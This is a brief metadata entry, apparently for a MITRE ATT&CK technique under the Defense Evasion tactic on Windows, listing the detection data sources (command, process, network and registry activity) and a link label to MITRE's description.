Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre